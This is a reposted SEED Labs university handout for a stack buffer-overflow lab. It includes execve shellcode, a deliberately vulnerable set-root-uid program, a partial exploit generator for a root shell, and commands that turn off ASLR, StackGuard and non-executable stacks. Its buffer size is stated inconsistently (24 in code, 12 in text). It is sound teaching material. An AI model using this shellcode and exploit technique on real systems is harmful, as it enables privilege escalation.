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日期：2020-10-03 10:53

SEED Labs – Buffer Overflow Vulnerability Lab 1

Buffer Overflow Vulnerability Lab

The development of this document is/was funded by three grants from the US National Science Foundation:

Awards No. 0231122 and 0618680 from TUES/CCLI and Award No. 1017771 from Trustworthy Computing.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free

Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy

of the license can be found at http://www.gnu.org/licenses/fdl.html.

1 Lab Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability

by putting what they have learned about the vulnerability from class into action. Buffer overflow is

defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated

fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the

program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage

for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can

affect the control flow of the program, because an overflow can change the return address.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop

a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students

will be guided to walk through several protection schemes that have been implemented in the operating

system to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work

or not and explain why.

2 Lab Tasks

2.1 Initial setup

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux

distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To

simply our attacks, we need to disable them first.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization

to randomize the starting address of heap and stack. This makes guessing the exact addresses

difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable

these features using the following commands:

$ su root

Password: (enter root password)

#sysctl -w kernel.randomize_va_space=0

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called ”Stack

Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You

can disable this protection if you compile the program using the -fno-stack-protector switch. For example,

to compile a program example.c with Stack Guard disabled, you may use the following command:

$ gcc -fno-stack-protector example.c

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Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary

images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,

they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide

whether to make the stack of this running program executable or non-executable. This marking is done

automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change

that, use the following option when compiling programs:

For executable stack:

$ gcc -z execstack -o test test.c

For non-executable stack:

$ gcc -z noexecstack -o test test.c

2.2 Shellcode

Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be

loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following

program:

#include <stdio.h>

int main( ) {

char *name[2];

name[0] = ‘‘/bin/sh’’;

name[1] = NULL;

execve(name[0], name, NULL);

}

The shellcode that we use is just the assembly version of the above program. The following program

shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the

following code, and see whether a shell is invoked.

/* call_shellcode.c */

/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

const char code[] =

"\x31\xc0" /* Line 1: xorl %eax,%eax */

"\x50" /* Line 2: pushl %eax */

"\x68""//sh" /* Line 3: pushl $0x68732f2f */

"\x68""/bin" /* Line 4: pushl $0x6e69622f */

"\x89\xe3" /* Line 5: movl %esp,%ebx */

"\x50" /* Line 6: pushl %eax */

"\x53" /* Line 7: pushl %ebx */

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"\x89\xe1" /* Line 8: movl %esp,%ecx */

"\x99" /* Line 9: cdq */

"\xb0\x0b" /* Line 10: movb $0x0b,%al */

"\xcd\x80" /* Line 11: int $0x80 */

;

int main(int argc, char **argv)

{

char buf[sizeof(code)];

strcpy(buf, code);

((void(*)( ))buf)( );

}

Please use the following command to compile the code (don’t forget the execstack option):

$ gcc -z execstack -o call_shellcode call_shellcode.c

A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather

than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately,

“//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the

execve() system call, we need to store name[0] (the address of the string), name (the address of the

array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;

Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.,

xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of

the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically

setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int

$0x80”.

2.3 The Vulnerable Program

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str)

{

char buffer[24];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

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int main(int argc, char **argv)

{

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it

in the root account, and chmod the executable to 4755 (don’t forget to include the execstack and

-fno-stack-protector options to turn off the non-executable stack and StackGuard protections):

$ su root

Password (enter root password)

# gcc -o stack -z execstack -fno-stack-protector stack.c

# chmod 4755 stack

# exit

The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”,

and then passes this input to another buffer in the function bof(). The original input can have a maximum

length of 517 bytes, but the buffer in bof() has only 12 bytes long. Because strcpy() does not check

boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can

exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be

noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our

objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents

into its buffer, a root shell can be spawned.

For Instructor: To test whether students really know how to conduct the attack, during the demo time,

ask students to change the buffer size from 12 to another number in the vulnerable program stack.c. If

students really know the attack, they should be able to modify their attacking code and successfully launch

the attack.

2.4 Task 1: Exploiting the Vulnerability

We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to

construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

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"\x31\xc0" /* xorl %eax,%eax */

"\x50" /* pushl %eax */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,%ebx */

"\x50" /* pushl %eax */

"\x53" /* pushl %ebx */

"\x89\xe1" /* movl %esp,%ecx */

"\x99" /* cdq */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

;

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for “badfile”.

Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to

get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c, which

generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we

are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is

compiled with the Stack Guard protection disabled.

$ gcc -o exploit exploit.c

$./exploit // create the badfile

$./stack // launch the attack by running the vulnerable program

# <---- Bingo! You’ve got a root shell!

It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the

effective user id is now root). You can check this by typing the following:

# id

uid=(500) euid=0(root)

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Many commands will behave differently if they are executed as Set-UID root processes, instead of

just as root processes, because they recognize that the real user id is not root. To solve this problem,

you can run the following program to turn the real user id to root. This way, you will have a real root

process, which is more powerful.

void main()

{

setuid(0); system("/bin/sh");

}

2.5 Task 2: Address Randomization

Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can

you get a shell? If not, what is the problem? How does the address randomization make your attacks

difficult? You should describe your observation and explanation in your lab report. You can use the following

instructions to turn on the address randomization:

$ su root

Password: (enter root password)

# /sbin/sysctl -w kernel.randomize_va_space=2

If running the vulnerable code once does not get you the root shell, how about running it for many

times? You can run ./stack in the following loop , and see what will happen. If your exploit program

is designed properly, you should be able to get the root shell after a while. You can modify your exploit

program to increase the probability of success (i.e., reduce the time that you have to wait).

$ sh -c "while [ 1 ]; do ./stack; done;"

2.6 Task 3: Stack Guard

Before working on this task, remember to turn off the address randomization first, or you will not know

which protection helps achieve the protection.

In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling the

programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you

should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the

vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations.

You may report any error messages you observe.

In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable

Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a

older GCC version, you may not have to disable Stack Guard.

2.7 Task 4: Non-executable Stack

Before working on this task, remember to turn off the address randomization first, or you will not know

which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable

program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, what

is the problem? How does this protection scheme make your attacks difficult. You should describe your

observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable

stack protection.

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# gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it

does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting

a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a seperate lab for

that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

If you are using our Ubuntu 12.04 VM, whether the non-executable stack protection works or not depends

on the CPU and the setting of your virtual machine, because this protection depends on the hardware

feature that is provided by CPU. If you find that the non-executable stack protection does not work, check

our document (“Notes on Non-Executable Stack”) that is linked to the lab’s web page, and see whether the

instruction in the document can help solve your problem. If not, then you may need to figure out the problem

yourself.

3 Guidelines

We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not

be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have

two problems: (1) we do not know where the return address is stored, and (2) we do not know where the

shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters

a function. The following figure gives an example.

str (a pointer to a string)

Return Address

Previous Frame Pointer (FP)

buffer[0] … buffer[11]

variable_a

void func (char *str) {

char buffer[12];

int variable_a;

strcpy (buffer, str);

}

Int main() {

char *str = “I am greater than 12 bytes”;

func (str);

}

Current Frame

Current FP

(a) A code example (b) Active Stack Frame in func()

High Address

Low Address

Finding the address of the memory that stores the return address. From the figure, we know, if we

can find out the address of buffer[] array, we can calculate where the return address is stored. Since

the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your

own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).

In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the

malicious code. You can even modify the copied program, and ask the program to directly print out the

address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID

copy, instead of of your copy, but you should be quite close.

If the target program is running remotely, and you may not be able to rely on the debugger to find out

the address. However, you can always guess. The following facts make guessing a quite feasible approach:

? Stack usually starts at the same address.

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? Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand

bytes into the stack at any one time.

? Therefore the range of addresses that we need to guess is actually quite small.

Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],

you should be able to accurately calcuate the starting point of the malicious code. Even if you cannot accurately

calculate the address (for example, for remote programs), you can still guess. To improve the chance

of success, we can add a number of NOPs to the beginning of the malcious code; therefore, if we can jump

to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.

buffer [0] …... buffer [11]

Previous FP

Return Address

str

Malicious Code

buffer [0] …... buffer [11]

Previous FP

Return Address

str

Malicious Code

NOP

NOP

NOP

…… (many NOP’s)

(a) Jump to the malicious code (b) Improve the chance Stack’s growing direction

Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4

bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually

occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different

types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,

and then assign the integer. The following code shows how to assign an long integer to a buffer starting at

buffer[i]:

char buffer[20];

long addr = 0xFFEEDD88;

long *ptr = (long *) (buffer + i);

*ptr = addr;

References

[1] Aleph One. Smashing The Stack For Fun And Profit. Phrack 49, Volume 7, Issue 49. Available at

http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html